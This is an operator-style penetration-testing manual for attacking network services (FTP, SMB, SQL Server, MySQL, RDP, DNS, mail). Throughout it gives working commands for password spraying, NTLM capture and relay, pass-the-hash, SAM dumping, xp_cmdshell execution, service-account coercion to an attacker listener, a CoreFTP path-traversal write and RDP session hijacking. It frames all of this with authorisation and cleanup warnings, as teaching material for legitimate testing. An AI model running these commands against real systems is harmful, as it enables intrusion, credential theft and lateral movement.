FLOW ^: Pentest Workflow

Network Service Attack Manual

Long-form operator guide to service discovery, normal client interaction, misconfiguration review, credential reuse, FTP, SMB, MySQL, MSSQL, RDP, DNS, SMTP, POP3, IMAP, multi-service attack chains, evidence handling, and cleanup.

intermediate updated 2026-09-15 nmap · smbclient / smbmap / rpcclient / enum4linux-ng · NetExec · Impacket

Condensed service card · Workflow dashboard · Service-enumeration stage

Network Service Attack Manual fas:ClipboardList

[!dashboard] Field-manual scope This is the long-form companion to the condensed service card. It turns the source module into one operator workflow: establish normal access, classify the service, test the cheapest misconfigurations first, validate credentials carefully, and follow every item of loot into the next exposed service.

FTP, SMB, database engines, RDP, DNS, and mail rarely fail in isolation. An anonymous file share supplies a username. That username confirms a mailbox. A message exposes a database password. The database account can read a configuration file or start a process. The useful unit of work is therefore the chain, not the port.

[!danger] Authorised targets only The commands below include password spraying, NTLM capture and relay, remote command execution, file writes, session access, mail relay, and old memory-corruption exploits. Use them only in an HTB lab or an engagement that explicitly permits the technique.

On a live engagement, confirm lockout policy before any credential attack, prove impact with the least invasive action available, record every changed setting and dropped file, and restore the target during cleanup. BlueKeep and SMBGhost testing can crash a host. Get separate approval before exploitation.

1 · Build the service map fas:Terminal

Set target data once. A wrong realm, hostname, or listener address causes enough false negatives that these variables are part of the test, not mere convenience.

export IP="10.10.10.10"
export TARGET="files01.example.test"
export DOMAIN="example.test"
export DC="dc01.$DOMAIN"
export DCIP="10.10.10.5"
export LHOST="10.10.14.2"
export U="operator"
export P="<secret>"
export EVIDENCE="evidence/$IP"
mkdir -p "$EVIDENCE"

[!warning] Keep secrets out of the evidence directory Store passwords and hashes in the engagement’s approved secret store. Tool output often echoes credentials. Redact it before copying a transcript into the report bundle.

Run a fast discovery pass, then a version and script pass against the ports that answered. Add an all-TCP sweep when scope and timing permit. Internal test systems often move management services away from their defaults.

# Fast port inventory
sudo nmap -Pn -n --top-ports 1000 --open -oA "$EVIDENCE/tcp-top" "$IP"

# All TCP ports; reduce -T4 on fragile or rate-limited networks
sudo nmap -Pn -n -p- -T4 --open -oA "$EVIDENCE/tcp-all" "$IP"

# Focused service scan after extracting open ports
sudo nmap -Pn -n -sV -sC \
  -p21,25,53,110,139,143,445,465,587,993,995,1433,3306,3389 \
  -oA "$EVIDENCE/common-services" "$IP"

# UDP matters for DNS; scan it explicitly
sudo nmap -Pn -n -sU -sV -p53 -oA "$EVIDENCE/udp-services" "$IP"

Port and protocol triage

ServiceDefault port(s)First unauthenticated checksAuthenticated payoff
FTPTCP 21banner, ftp-anon, directory listing, write testfile read/write, webroot access, bounce scan
SMBTCP 445, 139; UDP 137-138dialect, signing, null/guest shares, RPCshare loot, host/user enum, remote admin, hash dump
MSSQLTCP 1433; UDP 1434version, hostname/domain, instance discoverydata, file read, impersonation, linked servers, OS execution
MySQLTCP 3306version and handshakedata, FILE primitives, UDF path where applicable
RDPTCP 3389NTLM identity, TLS certificate, NLA/encryptiondesktop, redirected drive, admin session operations
DNSUDP/TCP 53recursion, records, nameserver list, AXFRauthenticated administration is out of scope for this module
SMTPTCP 25, 465, 587banner, verbs, user disclosure, relay testsending and mailbox/account discovery
POP3TCP 110, 995banner, TLS, username response differencesmailbox download
IMAPTCP 143, 993banner, capabilities, TLSmailbox browsing and search

[!tip] Interpret the whole response A certificate subject can disclose a host or domain. An NTLM challenge can disclose the NetBIOS domain. An SMTP banner may name the mail product. SMB signing status determines whether an NTLM relay path is plausible. Save those details before authentication changes what the service returns.

2 · Model the attack path ris:FileList

The source module uses four questions for any vulnerability. This guide renames them as an operator worksheet:

  1. Entry: Which field, file, protocol message, library, API, or configuration value can you influence?
  2. Handler: Which parser, function, service component, or business rule consumes it, and what assumption can fail?
  3. Security context: Which operating-system account, database role, group, policy, or container identity runs the handler?
  4. Effect: Does the result reach a local file, local process, database row, another host, or an outbound connection?
Attack path modelLR
Entryinput, file, config, library Handlerparser, function, service logic Security contextaccount, group, role, policy Effectfile, process, data, network feeds a second cycle

Most exploit chains contain two passes through this model. The first discloses data or creates a foothold. Its output becomes the entry for the second pass, which reaches code execution or a more privileged identity.

Worked model: Log4Shell

CycleEntryHandlerSecurity contextEffect
InitiationA crafted string reaches a logged value such as an HTTP headerA vulnerable Log4j version interprets the lookup instead of recording plain textThe Java application’s accountAn outbound lookup to attacker-controlled infrastructure
TriggerThe returned remote content becomes new inputThe application loads or executes itThe same application accountCode execution and an outbound session

The model keeps version research tied to impact. A remotely reachable parser bug in a low-privilege sandbox and the same bug in a root-owned daemon do not have the same result. Record the handler and security context before assigning severity.

3 · Work like a legitimate client first fas:Terminal

Normal interaction exposes permissions, object names, response codes, and protocol behavior that scanners often flatten. Learn the client’s verbs before testing abuse.

SMB from Windows command prompt

:: One-off UNC browse
dir \\%IP%\Finance\

:: Map a share with an explicit account
net use N: \\%IP%\Finance /user:EXAMPLE\operator *

:: Inventory, filename search, and content search
dir N: /a-d /s /b | find /c ":\"
dir N:\*cred* /s /b
findstr /s /i /m "password secret token key connection" N:\*.*

:: Disconnect after collection
net use N: /delete

Passing * makes net use prompt for the password. This keeps the secret out of the command line. Count files before recursive content searches so a large share does not turn into an uncontrolled collection job.

SMB from PowerShell

$cred = Get-Credential 'EXAMPLE\operator'
New-PSDrive -Name N -Root '\\10.10.10.10\Finance' -PSProvider FileSystem -Credential $cred

(Get-ChildItem N:\ -File -Recurse -ErrorAction SilentlyContinue | Measure-Object).Count
Get-ChildItem N:\ -File -Recurse -Include '*cred*','*.config','*.ini','*.kdbx','*.ps1','*.xml'
Get-ChildItem N:\ -File -Recurse -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|secret|token|connection string' -List

Remove-PSDrive N

Get-ChildItem emits objects, so size, extension, timestamp, and path filters can be applied before Select-String. That matters on production shares where blindly opening every file is slow and noisy.

SMB from Linux

# Interactive client; -N attempts a null session
smbclient -N -L "//$IP"
smbclient "//$IP/Finance" -U 'EXAMPLE/operator'

# Mount with a protected credentials file
sudo mkdir -p /mnt/finance
chmod 600 /tmp/finance.creds
sudo mount -t cifs "//$IP/Finance" /mnt/finance \
  -o credentials=/tmp/finance.creds,ro

find /mnt/finance -type f \( -iname '*cred*' -o -iname '*.config' -o -iname '*.ini' -o -iname '*.kdbx' \)
grep -RIniE 'password|secret|token|connection.?string' /mnt/finance 2>/dev/null

sudo umount /mnt/finance

The credentials file uses three lines: username=operator, password=<secret>, and domain=EXAMPLE. Start with a read-only mount. Remount read-write only when scope permits modification and a write primitive matters to the finding.

Database clients

# MySQL prompts for the password
mysql -h "$IP" -u "$U" -p

# MSSQL with SQL authentication
sqsh -S "$IP" -U "$U" -P "$P"

# Impacket supports password, NTLM hash, and Kerberos workflows
impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth
impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth -hashes ":<NT_HASH>"
impacket-mssqlclient -k -no-pass "$DOMAIN/$U@$TARGET"

On Windows, use sqlcmd for MSSQL and mysql.exe for MySQL. DBeaver is useful when the engagement allows a GUI and you need to inspect several database engines, but capture the executed SQL separately so the work remains reproducible.

Mail clients

Once credentials work, an IMAP-capable client such as Evolution can search headers, bodies, and attachments more reliably than a raw socket session. Record server, port, TLS mode, and authentication method. Avoid synchronising an entire mailbox when a scoped server-side search will answer the question.

4 · Test configuration before exploits ris:FileList

The same four configuration failures recur across all of these protocols:

FailureWhat to testEvidence to retainTypical impact
Factory or weak credentialsvendor defaults, blank passwords, predictable test accounts, approved spray candidatesproduct/version, exact account class, accepted auth pathunauthorised service access
Anonymous or guest accessFTP anonymous, SMB null/guest, exposed mail verbslisting or read-only object that proves accessdata disclosure or write access
Excessive rightsshare ACL, database role, service account, impersonation granteffective permissions and a minimal read/write/execute prooflateral movement or code execution
Unneeded defaultssamples, debug endpoints, legacy protocols, open relay, exposed admin interfacesbanner, response, configuration stateenlarged attack surface

Credential attack order

  1. Attempt anonymous, null, or guest access where the protocol supports it.
  2. Check a small, product-specific default list against the exact fingerprint.
  3. Test credentials recovered from the target against the service that exposed them.
  4. Reuse confirmed credentials across the other in-scope services and hosts.
  5. Spray one approved password across a known user list, then wait for the interval in the rules of engagement.
  6. Run a per-account wordlist only in a lab or when the lockout and availability risk is explicitly accepted.

[!warning] Lockout control Discover domain and local account policies before spraying. A single host can validate both domain and local users, and --local-auth changes which account database NetExec targets. Count attempts per identity across every protocol; lockout counters may be shared by SMB, RDP, mail, and web authentication.

Evidence loop

PhaseOperator questionMinimal proof
DiscoveryWhat answered and what identity did it disclose?scan and banner
ExposureWhat is visible without a credential?share, record, capability, or directory name
AuthenticationWhich account and realm worked?successful login without recording the secret
AuthorisationWhat can that identity read, write, or execute?a harmless query, listing, or test artefact
PropagationWhich new host, user, or secret should be tested next?entry in the target/credential matrix

5 · Turn loot into a credential graph fas:MagnifyingGlass

Strings that look trivial can connect two services. Treat filenames, mailbox senders, database owners, document metadata, scheduled-task paths, and share comments as candidate identities.

# Search a collected directory without printing binary bodies
find loot -type f -printf '%TY-%Tm-%Td %TH:%TM\t%s\t%p\n' | sort
rg -n -i --hidden \
  -g '!*.jpg' -g '!*.png' -g '!*.gif' -g '!*.pdf' \
  'pass(word)?|secret|token|api.?key|connection.?string|user(name)?|server=' loot

# Useful file classes
find loot -type f \( \
  -iname '*.config' -o -iname '*.ini' -o -iname '*.xml' -o \
  -iname '*.yml' -o -iname '*.yaml' -o -iname '*.ps1' -o \
  -iname '*.kdbx' -o -iname '*.pem' -o -iname 'id_rsa*' \
\) -print

Maintain two small tables during the engagement.

IdentitySourceRealmValid servicesPrivilegeLast test
jsmithanonymous FTP filenameunknownpendingunknowntimestamp
HostServiceProduct/versionAnonymous resultAuth resultFollow-up
files01SMB/445Samba 4.xread on publicpendinginspect documents

The source module’s representative chain starts with an anonymous FTP filename that resembles a username. The same string fails on FTP as a password, works against mail, leads to database credentials in a message, and ends at MSSQL command execution. The first failed login did not invalidate the candidate. It only invalidated one identity-secret-service combination.

6 · FTP operations fas:Terminal

FTP separates its control and data channels. Active mode asks the server to connect back to the client; passive mode has the client initiate both connections. Firewalls, NAT, and proxies often make passive mode more reliable. Standard FTP transmits credentials and content in clear text. FTPS adds TLS; SFTP is an SSH subsystem and is a different protocol.

Discover and browse

sudo nmap -Pn -n -sV -sC -p21 \
  --script ftp-anon,ftp-syst,ftp-bounce \
  -oA "$EVIDENCE/ftp" "$IP"

ftp "$IP"
# Name: anonymous
# Password: blank or an arbitrary email-shaped string

Useful interactive commands:

status                 show connection and transfer settings
passive                toggle passive mode
binary                 protect archives, databases, images, and executables
ls / dir               list the current directory
pwd / cd / lcd         remote path, remote change, local change
get / mget             download one or many files
put / mput              upload one or many files
size / mdtm            inspect size and modification time where supported

[!tip] Switch to binary mode before collection ASCII mode rewrites line endings and can corrupt archives, databases, KeePass files, and executables. Use binary before get unless the object is known to be plain text.

Validate read and write permissions

# lftp is easier to script and can mirror read-only content
lftp -u anonymous, "ftp://$IP"

# Inside the client, create a harmless marker only when write testing is allowed
put ftp-write-proof.txt
ls
delete ftp-write-proof.txt

If FTP maps to a webroot, verify the mapping with a harmless text file and an HTTP GET before discussing a server-side script. Record the exact remote path, URL, owner, and cleanup action.

Credential testing

medusa -h "$IP" -M ftp -u "$U" -P approved-passwords.txt -f
hydra -L users.txt -p 'ApprovedCandidate!' "ftp://$IP"

medusa -f stops after the first success for the host. Rate and concurrency still need to match the rules of engagement.

FTP bounce

An FTP server that accepts an arbitrary PORT destination can scan a network it can reach. Modern daemons usually block this.

nmap -Pn -n -v -p80,443 \
  -b 'anonymous:guest@ftp-gateway.example.test' \
  172.17.0.2

A positive result proves a network pivot and should be captured even if no open port is found. It shows that the server accepted a third-party data connection.

CoreFTP path traversal, CVE-2022-22836

Affected CoreFTP builds mishandled traversal in the HTTP PUT path. The write occurs with the service account’s filesystem rights.

curl -k --path-as-is -X PUT \
  --basic -u '<user>:<password>' \
  -H "Host: $IP" \
  --data-binary 'authorised proof' \
  "https://$IP/../../../../../../write-proof.txt"

Use a harmless destination agreed in advance, confirm its contents, then delete it. --path-as-is prevents curl from normalising the traversal before transmission.

FTP decision record

ObservationMeaningNext action
Anonymous listing succeedsunauthenticated disclosurecollect filenames and scoped files
Directory is writableintegrity impacttest harmless marker and map backing path
Web server exposes the same pathpossible server-side executionidentify accepted script type; get approval before upload
PORT accepts a third-party hostbounce/pivot pathscan only approved internal targets
Exact vulnerable CoreFTP buildversion-gated file writevalidate with a removable text file

7 · SMB and Windows file services fas:Terminal

SMB carries file, printer, named-pipe, and remote-administration traffic. TCP/445 is direct-hosted SMB; TCP/139 is the older NetBIOS transport. Samba implements SMB on Unix-like systems. Share access and host administration are separate questions: a user can read a share without being a local administrator.

Fingerprint dialect, identity, and signing

sudo nmap -Pn -n -sV -sC -p139,445 \
  --script smb-protocols,smb2-security-mode,smb2-time,smb2-capabilities \
  -oA "$EVIDENCE/smb" "$IP"

nxc smb "$IP"

Record the hostname, domain/workgroup, SMB dialect, signing requirement, and time. Clock data helps diagnose Kerberos failures later. SMB signing set to optional or disabled is one prerequisite for relay to SMB; it does not prove that authentication can be coerced or that the relayed identity will have useful rights.

Null, guest, and share enumeration

smbclient -N -L "//$IP"
smbmap -H "$IP"

# Explicit guest and known-user checks
smbclient -L "//$IP" -U 'guest%'
smbclient -L "//$IP" -U "$DOMAIN/$U"

# Browse and transfer
smbclient "//$IP/public" -N
smbmap -H "$IP" -r public
smbmap -H "$IP" --download 'public\readme.txt'

Within smbclient, use recurse ON, prompt OFF, and mget * only after reviewing the collection scope and share size. Prefer selective retrieval for evidence.

RPC and identity enumeration

rpcclient -U '%' "$IP"
# enumdomusers
# enumdomgroups
# querydispinfo
# getdompwinfo
# netshareenumall

enum4linux-ng -A -C "$IP"

-U '%' supplies an empty username and password. A successful RPC null session can expose users, groups, password policy, share names, and RIDs even when file shares reject anonymous access.

Permission and write tests

smbmap -H "$IP" -u "$U" -p "$P"
smbmap -H "$IP" -u "$U" -p "$P" -r Finance

# Upload a non-executable marker, verify it, and remove it
printf 'authorised write proof\n' > /tmp/smb-write-proof.txt
smbmap -H "$IP" -u "$U" -p "$P" \
  --upload /tmp/smb-write-proof.txt 'Finance\smb-write-proof.txt'
smbmap -H "$IP" -u "$U" -p "$P" \
  --download 'Finance\smb-write-proof.txt'

Delete the remote marker through an interactive client after capture. Do not use a web shell as the first write proof.

Password spraying with NetExec

# Domain accounts
nxc smb targets.txt -d "$DOMAIN" -u users.txt -p 'ApprovedCandidate!' \
  --continue-on-success

# Local accounts; changes the authentication realm per host
nxc smb targets.txt -u users.txt -p 'ApprovedCandidate!' \
  --local-auth --continue-on-success

Pwn3d! in NetExec output means the account has administrative rights on that host under the tested protocol. A plain success still matters for shares, RPC, and credential reuse.

Remote execution choices

Use these only after confirming administrative rights and approval for code execution.

# Service creation plus ADMIN$ upload; commonly returns SYSTEM
impacket-psexec "$DOMAIN/administrator@$IP"

# Service-based semi-interactive execution without the PsExec service binary
impacket-smbexec "$DOMAIN/administrator@$IP"

# Task Scheduler execution
impacket-atexec "$DOMAIN/administrator@$IP" 'whoami && hostname'

# NetExec command fan-out; -x is cmd.exe, -X is PowerShell
nxc smb "$IP" -d "$DOMAIN" -u administrator -p "$P" \
  -x 'whoami && hostname' --exec-method smbexec

Execution methods produce different artefacts. PsExec uploads a binary and creates a service. SMBExec creates a temporary service and redirects output through SMB. AtExec creates a scheduled task. Select the method whose changes you can account for and clean up.

Local account hashes and pass-the-hash

# Administrative access required
nxc smb "$IP" -u administrator -p "$P" --sam
impacket-secretsdump "administrator@$IP"

# Reuse the NT hash without recovering the plaintext
nxc smb "$IP" -u Administrator -H '<NT_HASH>' --local-auth
impacket-psexec -hashes ':<NT_HASH>' "Administrator@$IP"

An NT hash is an authentication secret. Store and report it like a password. The empty LM half in -hashes ':<NT_HASH>' is intentional.

Logged-on users

nxc smb '10.10.110.0/24' -d "$DOMAIN" -u "$U" -p "$P" --loggedon-users

This identifies where high-value identities have active sessions. It is host enumeration, not proof that their credentials can be extracted. State the distinction in the report.

NetNTLM capture and relay

Responder answers local name-resolution broadcasts such as LLMNR and NBT-NS. A client that requests a nonexistent name may authenticate to the attack host, which yields NetNTLM challenge-response material.

sudo responder -I tun0
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

For relay, disable Responder’s SMB and HTTP listeners so ntlmrelayx can bind them, build a target list whose SMB signing is not required, and wait for or trigger an in-scope authentication event.

nxc smb targets.txt --gen-relay-list relayable.txt
sudo impacket-ntlmrelayx --no-http-server -smb2support -tf relayable.txt

Relay requires all of the following:

  1. The victim must authenticate to the relay listener.
  2. The destination must accept the chosen NTLM relay path. For SMB, message signing cannot be required.
  3. The relayed identity must have permission to perform the demonstrated action.
  4. The destination must differ where protocol protections prevent reflection to the same service.

Capture, crack, and relay are different findings. A captured NetNTLMv2 response is not an NT hash and cannot be used directly for standard pass-the-hash.

SMBGhost, CVE-2020-0796

SMBGhost affected SMBv3.1.1 compression handling in specific Windows 10 and Windows Server builds. The kernel-level bug can crash the target. Confirm the OS build and patch state with a scanner before considering exploitation. A version banner alone is insufficient evidence of exploitability.

SMB decision record

ObservationFindingRequired follow-up
Null/guest share accessunauthenticated exposuredocument readable and writable paths
Signing not requiredrelay prerequisitefind an auth source and test target-side rights
Valid non-admin credentialauthenticated SMB accessenumerate shares, RPC, and reuse boundaries
Admin-equivalent credentialremote administrationchoose a minimal execution or secrets proof
SAM dumplocal credential compromisetest scope-limited reuse; avoid assuming domain impact

8 · SQL Server and MySQL fas:Terminal

Databases concentrate business data, application secrets, and trusted links. Separate database privilege from operating-system privilege. A SQL sysadmin can usually reach OS execution on MSSQL, but the process runs as the SQL Server service account. A MySQL user with FILE can read or write only where both MySQL policy and filesystem permissions allow it.

Discovery and connection

sudo nmap -Pn -n -sV -sC -p1433,3306 \
  --script ms-sql-info,ms-sql-ntlm-info,mysql-info \
  -oA "$EVIDENCE/sql" "$IP"

mysql -h "$IP" -u "$U" -p
sqsh -S "$IP" -U '.\local_sql_user' -P "$P" -h
impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth

MSSQL commonly uses TCP/1433 and the SQL Browser on UDP/1434, but named instances can listen elsewhere. MySQL uses TCP/3306 by default. MSSQL may use Windows-only authentication or mixed mode, which also accepts SQL-native accounts.

Engine inventory

-- MySQL
SELECT VERSION(), USER(), CURRENT_USER();
SHOW DATABASES;
SELECT user, host FROM mysql.user;
USE application_db;
SHOW TABLES;
SHOW COLUMNS FROM users;
SELECT * FROM users LIMIT 20;
-- MSSQL; GO terminates a batch in sqlcmd/sqsh
SELECT @@SERVERNAME, @@VERSION, SYSTEM_USER, USER_NAME();
GO
SELECT name FROM master.dbo.sysdatabases;
GO
SELECT name, type_desc FROM sys.server_principals;
GO
SELECT table_schema, table_name FROM application_db.INFORMATION_SCHEMA.TABLES;
GO

Inventory schemas and column names before selecting rows. Limit output, avoid bulk PII collection, and record why each table was queried.

MSSQL role and permission checks

SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
GO
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
GO
SELECT permission_name, state_desc
FROM sys.server_permissions
WHERE grantee_principal_id = SUSER_ID();
GO

MSSQL impersonation

SELECT DISTINCT grantor.name AS impersonatable_login
FROM sys.server_permissions AS perm
JOIN sys.server_principals AS grantor
  ON perm.major_id = grantor.principal_id
WHERE perm.permission_name = 'IMPERSONATE'
  AND perm.grantee_principal_id = SUSER_ID();
GO

USE master;
GO
EXECUTE AS LOGIN = 'sa';
GO
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
GO
REVERT;
GO

Check SYSTEM_USER and IS_SRVROLEMEMBER after every context switch. REVERT returns to the original login. Do not assume that permission to impersonate one principal leads to sysadmin; prove the role chain.

MSSQL operating-system execution

EXEC master..xp_cmdshell 'whoami';
GO

If xp_cmdshell is disabled and the account is sysadmin, record the original state before changing it:

EXEC sp_configure 'show advanced options';
GO
EXEC sp_configure 'xp_cmdshell';
GO

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO

EXEC master..xp_cmdshell 'whoami && hostname';
GO

-- Restore the original values after validation
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
GO

xp_cmdshell runs synchronously under the SQL Server service account or its configured proxy. Long commands can hold the database connection open. Use short identity and hostname checks as proof.

File reads and writes

-- MySQL policy gate
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW GRANTS FOR CURRENT_USER();

-- Read requires FILE and filesystem access
SELECT LOAD_FILE('/etc/hosts');

-- Write refuses to overwrite an existing file
SELECT 'authorised proof'
INTO OUTFILE '/var/lib/mysql-files/write-proof.txt';

secure_file_priv set to a directory restricts file operations to that directory. An empty value permits unrestricted paths subject to filesystem rights. NULL disables these operations.

-- MSSQL read under the service account
SELECT BulkColumn
FROM OPENROWSET(
  BULK N'C:\Windows\System32\drivers\etc\hosts',
  SINGLE_CLOB
) AS contents;
GO

MSSQL file writes through OLE Automation require administrative configuration changes. Prefer xp_cmdshell with a removable text marker when command execution is already approved. If OLE Automation itself is the finding, capture its original state and restore it.

Linked-server movement

EXEC master.dbo.sp_linkedservers;
GO
SELECT name, product, provider, data_source, is_linked
FROM sys.servers;
GO

EXEC ('SELECT @@SERVERNAME, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')')
AT [SQL02\SQLEXPRESS];
GO

A link uses the mapping configured on the first server. Its effective identity can be weaker or stronger than the current login. Enumerate each hop and avoid claiming control of the linked host until the remote query proves the context.

Coerce the SQL service account to authenticate

sudo impacket-smbserver share "$PWD" -smb2support
EXEC master..xp_dirtree '\\10.10.14.2\share\';
GO
EXEC master..xp_subdirs '\\10.10.14.2\share\';
GO

These stored procedures try to list a UNC path. Windows may authenticate to the listener as the SQL Server service account. An access-denied message from the procedure does not prove that authentication failed; inspect the listener output. Apply the same capture-versus-relay distinctions used in the SMB section.

SQL decision record

CapabilityMSSQL testMySQL testImpact boundary
List business dataINFORMATION_SCHEMA.TABLESSHOW TABLESdatabase permissions
Check admin roleIS_SRVROLEMEMBERSHOW GRANTSdatabase server
Change identityEXECUTE AS LOGINrole/account grantseffective DB principal
Execute OS commandxp_cmdshellUDF/plugin route if enabledservice account
Read a fileOPENROWSET(BULK...)LOAD_FILE()service account + DB policy
Write a filecommand/OLE routeINTO OUTFILEpath policy + filesystem ACL
Reach another serverlinked serversfederated/app configurationmapped remote identity

9 · Remote Desktop operations fas:Terminal

RDP provides an interactive Windows desktop over TCP/3389. Network Level Authentication moves credential validation before full session creation. TLS and NLA improve transport and pre-authentication behavior; weak passwords and excessive group membership remain exploitable.

Enumerate the endpoint

sudo nmap -Pn -n -p3389 \
  --script rdp-enum-encryption,rdp-ntlm-info \
  -oA "$EVIDENCE/rdp" "$IP"

Save the certificate name, NTLM target identity, supported security layers, and NLA state. An open port does not prove that a specific account may log on through Remote Desktop Services.

Controlled password spray

crowbar -b rdp -s "$IP/32" -U users.txt -c 'ApprovedCandidate!'
hydra -L users.txt -p 'ApprovedCandidate!' -t 2 -W 2 "$IP" rdp

Hydra’s RDP module can be unreliable under NLA and server throttling. Validate one known-good or deliberately invalid connection with a real client before treating automated failures as authoritative.

Connect with FreeRDP

xfreerdp /v:"$IP" /u:"$U" /d:"$DOMAIN" /p:"$P" /cert:tofu

# Map a local staging directory as a remote drive named assessment
xfreerdp /v:"$IP" /u:"$U" /d:"$DOMAIN" /p:"$P" \
  /drive:assessment,"$PWD/staging" /cert:tofu

Drive, clipboard, printer, audio, and device redirection can move data in both directions. Enable only what the engagement needs. Treat the mapped drive as a transfer channel in the evidence log.

Restricted Admin Mode and pass-the-hash

Restricted Admin Mode prevents the client from sending reusable credentials to the RDP host and allows FreeRDP to authenticate with an NT hash when the target permits the mode.

:: Enabling this remotely changes the target and requires prior admin rights
reg add HKLM\System\CurrentControlSet\Control\Lsa ^
  /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
xfreerdp /v:"$IP" /u:Administrator /pth:'<NT_HASH>' /cert:tofu

Check the registry value before changing it and restore that exact state after the test. A successful SMB pass-the-hash does not guarantee RDP logon rights or Restricted Admin support.

Session inventory and hijacking

An administrator can list sessions, but tscon session reassignment without the user’s password requires SYSTEM on affected older Windows versions. Modern releases have mitigations and behavior varies by version.

query user
query session

:: Historical technique: service runs as LocalSystem and connects to session 2
sc.exe create SessionProof binPath= "cmd.exe /c tscon 2 /dest:console"
sc.exe start SessionProof
sc.exe delete SessionProof

This disrupts a user’s desktop and creates a service. Use it only when the engagement specifically permits session access and the user-impact risk is accepted. Prefer a session listing as proof of exposure.

BlueKeep, CVE-2019-0708

BlueKeep is a pre-authentication use-after-free in older Remote Desktop Services implementations. Exploitation can crash the host. Confirm the Windows version and patch state first, use a non-exploit scanner when possible, and schedule any exploit attempt with the same controls as a reboot-risk test.

10 · DNS reconnaissance and trust abuse fas:Terminal

DNS reveals the namespace that other service attacks depend on. UDP handles most queries; TCP is used for large responses and zone transfers. Start with record collection and nameserver discovery before brute-force enumeration.

Query the namespace

dig A "$TARGET" @"$IP"
dig AAAA "$TARGET" @"$IP"
dig NS "$DOMAIN" @"$IP"
dig MX "$DOMAIN" @"$IP"
dig TXT "$DOMAIN" @"$IP"
dig SOA "$DOMAIN" @"$IP"
dig -x "$IP" @"$IP"

host -a "$DOMAIN" "$IP"

The SOA record names the primary server and zone administrator mailbox. NS and MX records produce hosts for follow-up service scans. TXT records may expose mail policy, verification tokens, or internal naming conventions.

Zone transfer

dig AXFR "$DOMAIN" @"$IP"

# Try every authoritative nameserver, because policy can differ
for ns in $(dig +short NS "$DOMAIN"); do
  dig AXFR "$DOMAIN" @"$ns"
done

A successful AXFR can disclose the zone’s hostnames and records. It is a confidentiality issue, not code execution. Save the full transfer and feed new names back into DNS resolution and port discovery.

Subdomain enumeration

subfinder -d "$DOMAIN" -silent -o subdomains-passive.txt
fierce --domain "$DOMAIN" --dns-servers "$IP"

while read -r name; do
  host "$name.$DOMAIN" "$IP"
done < approved-subdomain-list.txt

Passive discovery touches third-party sources and may reveal out-of-scope assets. Resolve and test only names within the authorised boundary.

Dangling records and subdomain takeover

dig CNAME "support.$DOMAIN" +short
host "support.$DOMAIN"

A dangling CNAME points to a provider resource that no longer exists. Provider error text is an indicator, not final proof that the name is claimable. Confirm the provider-specific conditions and get approval before registering any resource. Taking control of a production subdomain is a state-changing action with brand and cookie-scope impact.

Local DNS spoofing

Ettercap or Bettercap can answer DNS requests during an authorised layer-2 man-in-the-middle test. The path requires local network position, ARP spoofing or equivalent traffic control, and a victim that trusts the supplied response.

# /etc/ettercap/etter.dns example
portal.example.test     A     10.10.14.2
*.example.test          A     10.10.14.2

Document the traffic-positioning prerequisite. A writable local hosts file or control of a resolver is a different finding from spoofing broadcast-domain traffic.

11 · SMTP, POP3, and IMAP fas:Terminal

SMTP sends or relays mail. POP3 downloads a mailbox with a small command set. IMAP keeps mail on the server and supports folder and message search. The services often share an identity provider, so a username or password confirmed by one should be checked against the others within the approved attempt budget.

Identify the mail platform

dig +short MX "$DOMAIN"
host -t MX "$DOMAIN"

sudo nmap -Pn -n -sV -sC \
  -p25,110,143,465,587,993,995 \
  --script smtp-commands,smtp-enum-users,smtp-open-relay,pop3-capabilities,imap-capabilities \
  -oA "$EVIDENCE/mail" "$IP"

MX hosts under mail.protection.outlook.com indicate Microsoft 365. Google Workspace commonly points to Google’s MX hosts. Cloud identity testing has provider-specific throttling, federation, MFA, and legal constraints. Do not send generic high-rate Hydra traffic at a cloud provider.

Manual SMTP capability and user checks

openssl s_client -starttls smtp -connect "$IP:25" -crlf -quiet
EHLO assessor.example
VRFY candidate
EXPN staff
MAIL FROM:<probe@assessor.example>
RCPT TO:<candidate@example.test>
RSET
QUIT

Interpret response codes in context:

ResponseTypical meaningCaveat
220service readybanner may disclose product/hostname
250requested action acceptedacceptance can be deferred; it does not always prove mailbox delivery
252user cannot be verified, but mail may be acceptedoften prevents clean VRFY enumeration
550mailbox/action rejectedpolicy and anti-enumeration controls can mask validity

Test valid-looking and definitely invalid controls. Username enumeration exists only when responses differ reliably enough to classify candidates.

smtp-user-enum -M VRFY -U users.txt -t "$IP"
smtp-user-enum -M RCPT -U users.txt -D "$DOMAIN" -t "$IP"
smtp-user-enum -M EXPN -U aliases.txt -t "$IP"

POP3 and IMAP by hand

openssl s_client -connect "$IP:995" -crlf -quiet
USER candidate
PASS <secret>
STAT
LIST
RETR 1
QUIT
openssl s_client -connect "$IP:993" -crlf -quiet
a1 CAPABILITY
a2 LOGIN candidate <secret>
a3 LIST "" "*"
a4 SELECT INBOX
a5 SEARCH TEXT "password"
a6 FETCH 1 BODY.PEEK[]
a7 LOGOUT

Use BODY.PEEK[] during IMAP review so the server does not set the Seen flag merely because the assessor fetched the message. Mailbox access exposes personal and regulated data; search narrowly and retain only what supports the finding.

Self-hosted credential tests

hydra -L users.txt -p 'ApprovedCandidate!' -f "$IP" pop3
hydra -L users.txt -p 'ApprovedCandidate!' -f "$IP" imap
hydra -L users.txt -p 'ApprovedCandidate!' -f "$IP" smtp

Use the TLS-specific module or service syntax when the endpoint requires implicit TLS. Confirm the authentication mechanism from capabilities before interpreting failures.

Microsoft 365 workflow

The source module uses o365spray because provider-side responses, federation, and throttling need cloud-aware handling.

python3 o365spray.py --validate --domain "$DOMAIN"
python3 o365spray.py --enum -U users.txt --domain "$DOMAIN"
python3 o365spray.py --spray -U confirmed-users.txt \
  -p 'ApprovedCandidate!' --count 1 --lockout 1 --domain "$DOMAIN"

